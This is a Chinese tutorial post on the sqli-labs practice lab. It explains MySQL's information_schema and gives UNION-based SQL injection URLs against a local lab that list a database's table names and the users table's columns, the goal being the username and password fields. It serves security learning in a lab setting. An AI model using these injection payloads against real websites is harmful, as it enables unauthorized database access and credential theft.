前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >注入学习之sqli-labs-3(第二关)

注入学习之sqli-labs-3(第二关)

作者头像
用户1467662
发布2018-03-29 18:31:51
7280
发布2018-03-29 18:31:51
举报
文章被收录于专栏:农夫安全农夫安全

前言

本来是想一个个关卡讲下去,后来自己测试了一下,发现第二、三、四这三关跟第一关,起始原理是一样的,只不过是单引号,双引号,带不带括号的区别,只要我们带入的语句能够把sql查询语句完美闭合并且执行我们想要的结果,就可以。

那这一节就把上一节课的后续表名、列名、用户名、密码也查询出来

在这之前先了解几个mysql语句

0x01 准备阶段

1 登录mysql,如图

2 查询mysql中所有的数据库

语句 :Show databases

3 查询某个数据库中的所有表,这里以 security 这个数据库为例

语句:先选中 use security

再查询 show tables

4 列出某个表中所有的字段,这里以users表为例

语句有两种:

1:Desc users

2 show columns from users

得出的结果都一样,如图:

这些都是最基础的数据库查询语句

如果有不懂的话直接百度

了解了基本的语句和整个数据库的结构,接下来讲一下我们要用到的

在前一步查询所有数据库的时候,会发现有这样一个数据库 information_schema

下面一段话是对这个information_schema的描述

information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。

总的来说,我们想要的数据库名字,数据库的表名,字段名,我们都可以从这个information_schema来查询得到

我们先来熟悉这个数据库,直接放图

比如说,我们想要某个数据库下的所有表名

那么上图中的

TABLE_NAME就是存放这些表名的一张表单

TABLE_SCHEMA 就是存放所有数据库名的一张表单

而TABLE_NAME、TABLE_SCHEMA都是存放着information_schema下的tables表下

那么我们构造语句的时候,就需要用到where 去限定查询某个数据库下的表名

所以我们要查询某个数据库下的所有表名,这里以 security为例,则语句可以这样写

Select TABLE_NAME from information_schema.TABLES where table_schema = ‘security’

那如果把上面这个查询语句放入我们的攻击代码中,是不是就可以得到我们要的信息呢?

这里我们还要用到几个函数

1 order by 确定字段数

2 union 连接多个select语句

3 group_concat 连接输出结果

0x02 利用方式

我们的攻击语句构造如下

以第一关为例

http://127.0.0.1/Less-1/?id=1'and 1=2 union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where table_schema='security' --+

接下来,稍微修改一下语句,获取users表下的所有字段

http://127.0.0.1/Less-1/?id=1'and 1=2 union select 1,group_concat(column_NAME),3 from information_schema.columns where table_name='users' --+

很明显我们看到其中个有username 和 passwd字段,这就是我们要的用户名和密码字段

0x03 总结

总体来说,整个流程并不难,主要是要对sql的查询语句熟悉,以及一些函数的使用。配合上我们上节测试得出的sql查询语句,就可以构造我们想要的攻击代码。

1、如过觉得文章帮助到了你,请帮忙手动转发,谢谢各位老铁支持

2、禁止使用该文章用于非法用途

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 准备阶段
  • 0x02 利用方式
  • 0x03 总结
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档